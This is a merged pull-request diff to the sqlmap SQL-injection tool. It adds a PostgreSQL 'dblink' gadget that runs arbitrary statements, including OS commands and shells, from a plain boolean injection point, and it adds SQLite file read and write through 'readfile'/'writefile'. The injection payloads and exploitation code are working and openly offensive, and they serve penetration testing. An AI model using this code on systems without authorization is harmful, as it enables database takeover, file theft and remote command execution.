Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 8 additions & 4 deletions data/xml/queries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -51,8 +51,8 @@
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
</statements>
<procedures>
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
</procedures>
<dbs>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
Expand Down Expand Up @@ -134,9 +134,13 @@
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
</statements>
<procedures>
<inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
<blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
<inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
<blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
</procedures>
<gadgets>
<!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
<dblink check="(SELECT COUNT(*) FROM pg_extension WHERE extname='dblink')&gt;0" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
</gadgets>
<dbs>
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
Expand Down
3 changes: 3 additions & 0 deletions doc/CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,9 @@
* Added time-based payloads for CUBRID.
* Added out-of-band DNS channels for H2 and ClickHouse.
* Added PostgreSQL command execution through a PL extension.
* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is present, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
* Added the tamper scripts `blindbinary`, `dollarquote`, `infoschema2innodb`, `oraclequote`, and `sign`.

## Fewer dependencies
Expand Down
1 change: 1 addition & 0 deletions lib/core/option.py
Original file line number Diff line number Diff line change
Expand Up @@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
kb.gadget = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}
Expand Down
2 changes: 1 addition & 1 deletion lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.45"
VERSION = "1.10.8.50"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
Expand Down
45 changes: 45 additions & 0 deletions lib/request/inject.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,9 @@
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.convert import encodeHex
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.decorators import lockedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
Expand Down Expand Up @@ -834,6 +837,36 @@ def _(value):

return extractExpectedValue(value, expected)

def getGadget():
"""
Returns a 'gadget' (a side-effecting scalar expression usable through a
regular - e.g. boolean/time-based - injection) that can run an arbitrary
statement when stacked queries are not available (e.g. dblink_exec() on
PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
"""

if kb.gadget is None:
kb.gadget = False

dbms = Backend.getIdentifiedDbms()

if dbms is not None and "gadgets" in queries[dbms]:
for name, gadget in queries[dbms].gadgets.__dict__.items():
try:
available = checkBooleanExpression(gadget.check)
except Exception:
available = False

if available:
infoMsg = "using '%s' gadget to run statement(s) as " % name
infoMsg += "stacked queries are not available"
logger.info(infoMsg)

kb.gadget = gadget
break

return kb.gadget or None

def goStacked(expression, silent=False):
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
Expand All @@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
if conf.direct:
return direct(expression)

if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
gadget = getGadget()

if gadget:
warnMsg = "statement execution through a gadget is best-effort "
warnMsg += "and its result (if any) can not be retrieved"
singleTimeWarnMessage(warnMsg)

payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
checkBooleanExpression("(%s) IS NOT NULL" % payload)
return

query = agent.prefixQuery(";%s" % expression)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
Expand Down
2 changes: 1 addition & 1 deletion plugins/dbms/postgresql/takeover.py
Original file line number Diff line number Diff line change
Expand Up @@ -102,7 +102,7 @@ def uncPathRequest(self):
def copyExecCmd(self, cmd):
output = None

if isStackingAvailable() or conf.direct:
if isStackingAvailable() or conf.direct or inject.getGadget():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
Expand Down
83 changes: 77 additions & 6 deletions plugins/dbms/sqlite/filesystem.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,85 @@
See the file 'LICENSE' for copying permission
"""

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import cachedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.enums import PLACE
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem

class Filesystem(GenericFilesystem):
def readFile(self, remoteFile):
errMsg = "on SQLite it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
@cachedmethod
def _checkFunction(self, name):
"""
Checks for the presence of a specific SQL function inside the back-end
DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension,
as the sqlite3 command line client has those built in, while the host
application usually doesn't)
"""

def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on SQLite it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name)

def nonStackedReadFile(self, remoteFile):
if not self._checkFunction("readfile"):
errMsg = "on SQLite it is not possible to read files without "
errMsg += "the 'fileio' extension function 'readfile' being "
errMsg += "available inside the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)

if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)

return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)

def stackedReadFile(self, remoteFile):
return self.nonStackedReadFile(remoteFile)

def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
if not self._checkFunction("writefile"):
errMsg = "on SQLite it is not possible to write files without "
errMsg += "the 'fileio' extension function 'writefile' being "
errMsg += "available inside the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)

logger.debug("encoding file to its hexadecimal string value")

fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)

if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warning(warnMsg)

debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)

# Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex
# string survives sqlmap's string escaping (it becomes CHAR(...) of the
# ASCII hex digits, which 'unhex' decodes back to the original bytes)
if self._checkFunction("unhex"):
content = "unhex('%s')" % fcEncodedStr
else:
warnMsg = "back-end DBMS does not have the 'unhex' function "
warnMsg += "(SQLite >= 3.41.0); the file will be written from a "
warnMsg += "textual value and non-ASCII bytes may get corrupted"
singleTimeWarnMessage(warnMsg)

with open(localFile, "rb") as f:
content = "'%s'" % f.read().decode("latin-1")

inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
7 changes: 7 additions & 0 deletions plugins/dbms/sqlite/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -108,5 +108,12 @@ def checkDbms(self):

return False

def checkDbmsOs(self, detailed=False):
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()

def forceDbmsEnum(self):
conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX)
2 changes: 1 addition & 1 deletion plugins/generic/custom.py
Original file line number Diff line number Diff line change
Expand Up @@ -71,7 +71,7 @@ def sqlQuery(self, query):
output[i] = joinValue(output[i])

return output
elif not isStackingAvailable() and not conf.direct:
elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
warnMsg = "execution of non-query SQL statements is only "
warnMsg += "available when stacked queries are supported"
logger.warning(warnMsg)
Expand Down
23 changes: 22 additions & 1 deletion plugins/generic/filesystem.py
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,9 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False):
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid

elif Backend.isDbms(DBMS.SQLITE):
lengthQuery = "LENGTH(readfile('%s'))" % remoteFile

elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
Expand Down Expand Up @@ -213,6 +216,11 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg += "into the specific DBMS plugin"
raise SqlmapUndefinedMethod(errMsg)

def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg = "'nonStackedWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise SqlmapUndefinedMethod(errMsg)

def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg = "'stackedWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
Expand All @@ -234,7 +242,7 @@ def readFile(self, remoteFile):
logger.debug(debugMsg)

fileContent = self.stackedReadFile(remoteFile)
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2) or Backend.isDbms(DBMS.SQLITE):
debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique"
logger.debug(debugMsg)
Expand Down Expand Up @@ -307,6 +315,13 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
debugMsg += "stacked query technique"
logger.debug(debugMsg)

written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True)
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "large object technique through a gadget"
logger.debug(debugMsg)

written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
Expand All @@ -321,6 +336,12 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
logger.debug(debugMsg)

written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
elif Backend.isDbms(DBMS.SQLITE):
debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "'writefile' function"
logger.debug(debugMsg)

written = self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
else:
errMsg = "none of the SQL injection techniques detected can "
errMsg += "be used to write files to the underlying file "
Expand Down
5 changes: 5 additions & 0 deletions plugins/generic/takeover.py
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.request import inject
from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit
Expand All @@ -46,6 +47,8 @@ def __init__(self):
def osCmd(self):
if isStackingAvailable() or conf.direct:
web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg)
Expand All @@ -68,6 +71,8 @@ def osCmd(self):
def osShell(self):
if isStackingAvailable() or conf.direct:
web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)
Expand Down